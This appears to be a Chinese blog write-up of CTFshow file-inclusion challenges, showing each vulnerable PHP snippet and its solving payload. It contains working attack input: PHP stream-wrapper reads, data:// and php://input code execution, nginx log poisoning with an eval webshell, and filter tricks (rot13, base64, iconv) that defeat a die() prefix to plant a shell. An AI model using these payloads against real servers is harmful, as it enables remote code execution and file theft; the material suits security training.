CTFshow的文件包含
本文最后更新于 69 天前,其中的信息可能已经有所发展或是发生改变。

Web 78

 <?php

if(isset($_GET['file'])){
  $file = $_GET['file'];
  include($file);
}else{
  highlight_file(__FILE__);
}

直接伪协议读就完事了(filter)

?file=php://filter/convert.base64-encode/resource=flag.php

Web 79

 <?php


if(isset($_GET['file'])){
  $file = $_GET['file'];
  $file = str_replace("php", "???", $file);
  include($file);
}else{
  highlight_file(__FILE__);
}

可以看到php被禁了,php伪协议用不了了,那就换data去读

data://text/plain;
base64编码:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==(<?php system('cat flag.php');?>)
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
查看源码即可

Web 80

 <?php

if(isset($_GET['file'])){
  $file = $_GET['file'];
  $file = str_replace("php", "???", $file);
  $file = str_replace("data", "???", $file);
  include($file);
}else{
  highlight_file(__FILE__);
}

data和php都禁了

查看日志文件

/var/log/nginx/access.log

这边解释一下日志文件:

日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell

对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log

所以就可以向UA或RE中传入恶意代码

<?php @eval($_REQUEST['1']);?>

传完之后

POST:1=system('tac f*');
(这边没有先ls,因为直接去读了flag文件,实际中可以先测试一下)

这边还有一个做法,就是用input协议去读

?file=Php://input
<?php system('tac f*');?>

Web 81

 <?php

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

和80一样的解

?file=/var/log/nginx/access.log
UA:
<?php @eval($_REQUEST['1']);?>
POST:1=system('tac f*');

Web 82—86

定了竞争开放时间,暂时不做

Web 87

 <?php

if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

又遇到老朋友file_put_contents()函数了

file_put_conntent(filename, data):把一个字符串写入文件中

在前面拼接上 <?php die(‘大佬别秀了’) ;?> 退出,接下来就是想办法绕过

用伪协议写入文件

file=php://filter/write=string.rot13/resource=2.php
二次url编码:%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%2
5%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%
33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36
%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%3
3%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%
25%37%32%25%36%33%25%36%35%25%33%64%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30
convert=aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==(<?php @eval($_POST[1]);?>)
编码时,Base64的最小单位是3个字节。
解码时,Base64以4个字符为一组进行解码。如果解码过程中遇到非法字符,PHP会忽略这些字符并继续处理其余字符。所以,通过base64解码过滤之后就只有 “phpdie” 6个字符,我们就要添加2个字符让phpdie和我们增加的两个字符组合起来进行解码。即可抹掉死亡函数。(base64特征:大写小写a-Z和数字0-9,“+”,“/”(所以碰到<?;这种符号base64是识别不了的)
1=system('ls');
......

Web 88

<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

看到php大小写都给过滤了,想到用data去读

data://text/plain;base64,
但是注意不能有特殊符号,所以这边要凑
<?php system("ls"); ?>(PD9waHAgc3lzdGVtKCJscyIpOyA/Pg==)
或者直接
<?php system('tac *.php');?>aa(PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/PmFh)

Web 116

进入题目是一个视频

dirsearch扫东西没啥,下载视频,放到010里看,发现有PNG,让队友帮我做了提取,是源码,如下:

直接读应该就可以
?file=flag.php
/var/www/html/flag.php

Web 117

<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

这么一看和87差不多,但是多过滤了一下过滤器,选用其他的即可吧,找一找,想到春秋杯一个题,就是用到的convert.iconv这个过滤器,正好可以使用

把一句话木马从 UCS-2LE 编码转换为 UCS-2BE 编码

附个脚本
<?php
$re = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_POST[1]);?>');
echo $re;
?>

OK,直接冲

?file=php://filter/write=convert.iconv,UCS-2LE.UCS-2BE/resource=1.php
contents=?<hp pvela$(P_SO[T]1;)>?(编码后的)
1=system('tac flag.php')
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇